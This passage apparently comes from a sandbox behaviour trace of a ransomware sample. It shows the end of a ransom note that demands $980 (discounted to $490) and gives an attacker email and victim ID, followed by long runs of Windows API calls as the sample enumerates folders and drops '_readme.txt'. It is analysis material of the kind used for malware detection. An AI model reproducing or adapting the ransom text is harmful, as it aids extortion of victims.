unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.153] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.153] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3750 | out: hHeap=0x810000) returned 1 [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.153] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450700 [0124.153] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450700 | out: hHeap=0x810000) returned 1 [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450160 | out: hHeap=0x810000) returned 1 [0124.153] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397f8 [0124.153] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.153] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439768 [0124.153] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439768 | out: hHeap=0x810000) returned 1 [0124.153] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439768 [0124.153] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439768 | out: hHeap=0x810000) returned 1 [0124.153] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439768 [0124.153] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439768 | out: hHeap=0x810000) returned 1 [0124.153] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439768 [0124.153] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.153] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439768 | out: hHeap=0x810000) returned 1 [0124.153] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439768 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439768 | out: hHeap=0x810000) returned 1 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439768 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439768 | out: hHeap=0x810000) returned 1 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397f8 | out: hHeap=0x810000) returned 1 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450160 [0124.154] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae2210 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae2210 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae2210 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.155] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450160 | out: hHeap=0x810000) returned 1 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450160 [0124.156] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae2210 [0124.156] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae2210 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae2210 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450160 | out: hHeap=0x810000) returned 1 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471000 [0124.157] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.157] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.157] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.158] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.158] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.158] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.158] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.158] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.158] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.158] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.158] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.158] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.158] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.158] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.158] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.158] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.158] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.158] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.158] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.158] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.158] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.158] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.158] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.158] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.158] PathFindFileNameW (pszPath="") returned="" [0124.158] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.159] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.159] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae2210 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.159] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.159] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450700 | out: hHeap=0x810000) returned 1 [0124.159] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.159] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504d0 | out: hHeap=0x810000) returned 1 [0124.159] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34504d0 [0124.159] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 